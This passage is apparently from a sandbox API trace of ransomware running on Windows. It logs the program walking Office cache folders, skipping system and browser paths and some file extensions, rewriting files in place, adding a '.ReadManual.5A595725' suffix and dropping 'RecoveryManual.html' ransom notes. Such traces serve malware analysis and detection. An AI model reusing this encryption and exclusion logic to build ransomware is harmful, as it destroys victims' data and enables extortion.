ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x32b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Proofing.xml", cAlternateFileName="")) returned 1 [0187.446] lstrcpyW (in: lpString1=0x6ab922, lpString2="Proofing.xml" | out: lpString1="Proofing.xml") returned="Proofing.xml" [0187.446] lstrcmpiW (lpString1="Proofing.xml", lpString2="RecoveryManual.html") returned -1 [0187.446] StrStrIW (lpFirst="Proofing.xml", lpSrch=".ReadManual.5A595725") returned 0x0 [0187.446] StrCmpIW (psz1="xml", psz2="exe") returned 1 [0187.446] StrCmpIW (psz1="xml", psz2="dll") returned 1 [0187.446] StrCmpIW (psz1="xml", psz2="sys") returned 1 [0187.446] StrCmpIW (psz1="xml", psz2="msi") returned 1 [0187.446] StrCmpIW (psz1="xml", psz2="mui") returned 1 [0187.446] StrCmpIW (psz1="xml", psz2="inf") returned 1 [0187.446] StrCmpIW (psz1="xml", psz2="cat") returned 1 [0187.447] StrCmpIW (psz1="xml", psz2="bat") returned 1 [0187.447] StrCmpIW (psz1="xml", psz2="cmd") returned 1 [0187.447] StrCmpIW (psz1="xml", psz2="ps1") returned 1 [0187.447] StrCmpIW (psz1="xml", psz2="vbs") returned 1 [0187.447] StrCmpIW (psz1="xml", psz2="ttf") returned 1 [0187.447] StrCmpIW (psz1="xml", psz2="fon") returned 1 [0187.447] StrCmpIW (psz1="xml", psz2="lnk") returned 1 [0187.447] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" [0187.447] lstrcatW (in: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml.ReadManual.5A595725") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml.ReadManual.5A595725" [0187.447] lstrlenW (lpString="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml.ReadManual.5A595725") returned 99 [0187.447] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd0 | out: lpPerformanceCount=0x434fdd0*=30811556809) returned 1 [0187.447] GetFileAttributesW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml")) returned 0x2020 [0187.447] CreateFileW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0187.447] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x434fde8 | out: lpFileSize=0x434fde8*=811) returned 1 [0187.447] CreateFileMappingW (hFile=0x190, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x32b, lpName=0x0) returned 0x194 [0187.447] SetFileInformationByHandle (hFile=0x190, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd6) returned 1 [0187.448] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.448] WriteFile (in: hFile=0x190, lpBuffer=0x434fcd0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x434fcd0*, lpNumberOfBytesWritten=0x434fccc*=0x20, lpOverlapped=0x0) returned 1 [0187.449] WriteFile (in: hFile=0x190, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fccc*=0x100, lpOverlapped=0x0) returned 1 [0187.449] MapViewOfFile (hFileMappingObject=0x194, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x32b) returned 0x2f0000 [0187.449] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0187.449] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd8 | out: lpPerformanceCount=0x434fdd8*=30811820576) returned 1 [0187.449] CloseHandle (hObject=0x194) returned 1 [0187.450] SetSecurityInfo () returned 0x57 [0187.450] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0187.450] CloseHandle (hObject=0x190) returned 1 [0187.450] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42c75f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x42c75f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0187.450] lstrcpyW (in: lpString1=0x6ab922, lpString2="Setup.xml" | out: lpString1="Setup.xml") returned="Setup.xml" [0187.450] lstrcmpiW (lpString1="Setup.xml", lpString2="RecoveryManual.html") returned 1 [0187.450] StrStrIW (lpFirst="Setup.xml", lpSrch=".ReadManual.5A595725") returned 0x0 [0187.450] StrCmpIW (psz1="xml", psz2="exe") returned 1 [0187.450] StrCmpIW (psz1="xml", psz2="dll") returned 1 [0187.450] StrCmpIW (psz1="xml", psz2="sys") returned 1 [0187.450] StrCmpIW (psz1="xml", psz2="msi") returned 1 [0187.450] StrCmpIW (psz1="xml", psz2="mui") returned 1 [0187.450] StrCmpIW (psz1="xml", psz2="inf") returned 1 [0187.450] StrCmpIW (psz1="xml", psz2="cat") returned 1 [0187.450] StrCmpIW (psz1="xml", psz2="bat") returned 1 [0187.450] StrCmpIW (psz1="xml", psz2="cmd") returned 1 [0187.450] StrCmpIW (psz1="xml", psz2="ps1") returned 1 [0187.450] StrCmpIW (psz1="xml", psz2="vbs") returned 1 [0187.450] StrCmpIW (psz1="xml", psz2="ttf") returned 1 [0187.450] StrCmpIW (psz1="xml", psz2="fon") returned 1 [0187.450] StrCmpIW (psz1="xml", psz2="lnk") returned 1 [0187.450] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" [0187.450] lstrcatW (in: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml.ReadManual.5A595725") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml.ReadManual.5A595725" [0187.450] lstrlenW (lpString="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml.ReadManual.5A595725") returned 96 [0187.450] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd0 | out: lpPerformanceCount=0x434fdd0*=30811914689) returned 1 [0187.450] GetFileAttributesW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0187.451] CreateFileW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0187.451] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x434fde8 | out: lpFileSize=0x434fde8*=5884) returned 1 [0187.451] CreateFileMappingW (hFile=0x190, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x16fc, lpName=0x0) returned 0x194 [0187.451] SetFileInformationByHandle (hFile=0x190, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd0) returned 1 [0187.451] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.451] WriteFile (in: hFile=0x190, lpBuffer=0x434fcd0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x434fcd0*, lpNumberOfBytesWritten=0x434fccc*=0x20, lpOverlapped=0x0) returned 1 [0187.453] WriteFile (in: hFile=0x190, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fccc*=0x100, lpOverlapped=0x0) returned 1 [0187.453] MapViewOfFile (hFileMappingObject=0x194, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x16fc) returned 0x2f0000 [0187.453] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0187.453] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd8 | out: lpPerformanceCount=0x434fdd8*=30812210174) returned 1 [0187.453] CloseHandle (hObject=0x194) returned 1 [0187.453] SetSecurityInfo () returned 0x57 [0187.454] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0187.454] CloseHandle (hObject=0x190) returned 1 [0187.454] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42c75f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x42c75f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0187.454] FindClose (in: hFindFile=0x6680e8 | out: hFindFile=0x6680e8) returned 1 [0187.454] FindNextFileW (in: hFindFile=0x66b108, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc3e6570, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc3e6570, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{90140000-0043-0409-1000-0000000FF1CE}-C", cAlternateFileName="{95310~1")) returned 1 [0187.454] lstrcpyW (in: lpString1=0x69b8d0, lpString2="{90140000-0043-0409-1000-0000000FF1CE}-C" | out: lpString1="{90140000-0043-0409-1000-0000000FF1CE}-C") returned="{90140000-0043-0409-1000-0000000FF1CE}-C" [0187.454] lstrcatW (in: lpString1="{90140000-0043-0409-1000-0000000FF1CE}-C", lpString2="\\" | out: lpString1="{90140000-0043-0409-1000-0000000FF1CE}-C\\") returned="{90140000-0043-0409-1000-0000000FF1CE}-C\\" [0187.454] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\Windows\\") returned 0x0 [0187.454] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\System Volume Information\\") returned 0x0 [0187.454] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\$RECYCLE.BIN\\") returned 0x0 [0187.454] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\SYSTEM.SAV") returned 0x0 [0187.454] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\WINNT") returned 0x0 [0187.454] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\$WINDOWS.~BT\\") returned 0x0 [0187.454] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\Windows.old\\") returned 0x0 [0187.454] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\PerfLog\\") returned 0x0 [0187.454] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\", lpSrch="\\WindowsApps\\") returned 0x0 [0187.454] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Microsoft\\Windows\\") returned 0x0 [0187.454] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Roaming\\Microsoft\\") returned 0x0 [0187.454] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Local\\Microsoft\\") returned 0x0 [0187.454] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\", lpSrch="\\LocalLow\\Microsoft\\") returned 0x0 [0187.454] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\ProgramData\\Microsoft\\") returned 0x0 [0187.454] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Local\\Packages\\") returned 0x0 [0187.454] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\ProgramData\\Packages\\") returned 0x0 [0187.454] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Windows Defender\\") returned 0x0 [0187.454] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\", lpSrch="\\microsoft shared\\") returned 0x0 [0187.455] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Google\\Chrome\\") returned 0x0 [0187.455] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Mozilla Firefox\\") returned 0x0 [0187.455] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Mozilla\\Firefox\\") returned 0x0 [0187.455] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Internet Explorer\\") returned 0x0 [0187.455] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\", lpSrch="\\MicrosoftEdge\\") returned 0x0 [0187.455] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Tor Browser\\") returned 0x0 [0187.455] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\", lpSrch="\\AppData\\Local\\Temp\\") returned 0x0 [0187.455] lstrlenW (lpString="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\") returned 67 [0187.455] FindFirstFileW (in: lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc3e6570, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc3e6570, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6680e8 [0187.457] lstrcpyW (in: lpString1=0x6ab89c, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\" [0187.457] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc3e6570, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc3e6570, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0187.457] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd5600, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Office32MUI.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1 [0187.457] lstrcpyW (in: lpString1=0x6ab922, lpString2="Office32MUI.msi" | out: lpString1="Office32MUI.msi") returned="Office32MUI.msi" [0187.457] lstrcmpiW (lpString1="Office32MUI.msi", lpString2="RecoveryManual.html") returned -1 [0187.457] StrStrIW (lpFirst="Office32MUI.msi", lpSrch=".ReadManual.5A595725") returned 0x0 [0187.457] StrCmpIW (psz1="msi", psz2="exe") returned 1 [0187.457] StrCmpIW (psz1="msi", psz2="dll") returned 1 [0187.457] StrCmpIW (psz1="msi", psz2="sys") returned -1 [0187.457] StrCmpIW (psz1="msi", psz2="msi") returned 0 [0187.457] lstrcpyW (in: lpString1=0x68b874, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\" [0187.457] lstrcatW (in: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\", lpString2="RecoveryManual.html" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\RecoveryManual.html") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\RecoveryManual.html" [0187.458] CreateFileW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\RecoveryManual.html" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\recoverymanual.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0187.458] WriteFile (in: hFile=0x190, lpBuffer=0x2e8138*, nNumberOfBytesToWrite=0xae9, lpNumberOfBytesWritten=0x434fe38, lpOverlapped=0x0 | out: lpBuffer=0x2e8138*, lpNumberOfBytesWritten=0x434fe38*=0xae9, lpOverlapped=0x0) returned 1 [0187.459] CloseHandle (hObject=0x190) returned 1 [0187.459] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x567, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Office32MUI.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0187.459] lstrcpyW (in: lpString1=0x6ab922, lpString2="Office32MUI.xml" | out: lpString1="Office32MUI.xml") returned="Office32MUI.xml" [0187.459] lstrcmpiW (lpString1="Office32MUI.xml", lpString2="RecoveryManual.html") returned -1 [0187.459] StrStrIW (lpFirst="Office32MUI.xml", lpSrch=".ReadManual.5A595725") returned 0x0 [0187.459] StrCmpIW (psz1="xml", psz2="exe") returned 1 [0187.459] StrCmpIW (psz1="xml", psz2="dll") returned 1 [0187.459] StrCmpIW (psz1="xml", psz2="sys") returned 1 [0187.459] StrCmpIW (psz1="xml", psz2="msi") returned 1 [0187.459] StrCmpIW (psz1="xml", psz2="mui") returned 1 [0187.459] StrCmpIW (psz1="xml", psz2="inf") returned 1 [0187.459] StrCmpIW (psz1="xml", psz2="cat") returned 1 [0187.459] StrCmpIW (psz1="xml", psz2="bat") returned 1 [0187.459] StrCmpIW (psz1="xml", psz2="cmd") returned 1 [0187.459] StrCmpIW (psz1="xml", psz2="ps1") returned 1 [0187.459] StrCmpIW (psz1="xml", psz2="vbs") returned 1 [0187.459] StrCmpIW (psz1="xml", psz2="ttf") returned 1 [0187.459] StrCmpIW (psz1="xml", psz2="fon") returned 1 [0187.459] StrCmpIW (psz1="xml", psz2="lnk") returned 1 [0187.459] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" [0187.459] lstrcatW (in: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml.ReadManual.5A595725") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml.ReadManual.5A595725" [0187.459] lstrlenW (lpString="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml.ReadManual.5A595725") returned 102 [0187.459] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd0 | out: lpPerformanceCount=0x434fdd0*=30812819830) returned 1 [0187.459] GetFileAttributesW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml")) returned 0x2020 [0187.460] CreateFileW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0187.460] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x434fde8 | out: lpFileSize=0x434fde8*=1383) returned 1 [0187.460] CreateFileMappingW (hFile=0x190, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x567, lpName=0x0) returned 0x194 [0187.460] SetFileInformationByHandle (hFile=0x190, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xdc) returned 1 [0187.460] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.460] WriteFile (in: hFile=0x190, lpBuffer=0x434fcd0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x434fcd0*, lpNumberOfBytesWritten=0x434fccc*=0x20, lpOverlapped=0x0) returned 1 [0187.462] WriteFile (in: hFile=0x190, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fccc*=0x100, lpOverlapped=0x0) returned 1 [0187.462] MapViewOfFile (hFileMappingObject=0x194, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x567) returned 0x2f0000 [0187.462] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0187.462] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd8 | out: lpPerformanceCount=0x434fdd8*=30813087804) returned 1 [0187.462] CloseHandle (hObject=0x194) returned 1 [0187.462] SetSecurityInfo () returned 0x57 [0187.462] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0187.462] CloseHandle (hObject=0x190) returned 1 [0187.462] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc301560, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2cb13b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OWOW32LR.cab", cAlternateFileName="")) returned 1 [0187.463] lstrcpyW (in: lpString1=0x6ab922, lpString2="OWOW32LR.cab" | out: lpString1="OWOW32LR.cab") returned="OWOW32LR.cab" [0187.463] lstrcmpiW (lpString1="OWOW32LR.cab", lpString2="RecoveryManual.html") returned -1 [0187.463] StrStrIW (lpFirst="OWOW32LR.cab", lpSrch=".ReadManual.5A595725") returned 0x0 [0187.463] StrCmpIW (psz1="cab", psz2="exe") returned -1 [0187.463] StrCmpIW (psz1="cab", psz2="dll") returned -1 [0187.463] StrCmpIW (psz1="cab", psz2="sys") returned -1 [0187.463] StrCmpIW (psz1="cab", psz2="msi") returned -1 [0187.463] StrCmpIW (psz1="cab", psz2="mui") returned -1 [0187.463] StrCmpIW (psz1="cab", psz2="inf") returned -1 [0187.463] StrCmpIW (psz1="cab", psz2="cat") returned -1 [0187.463] 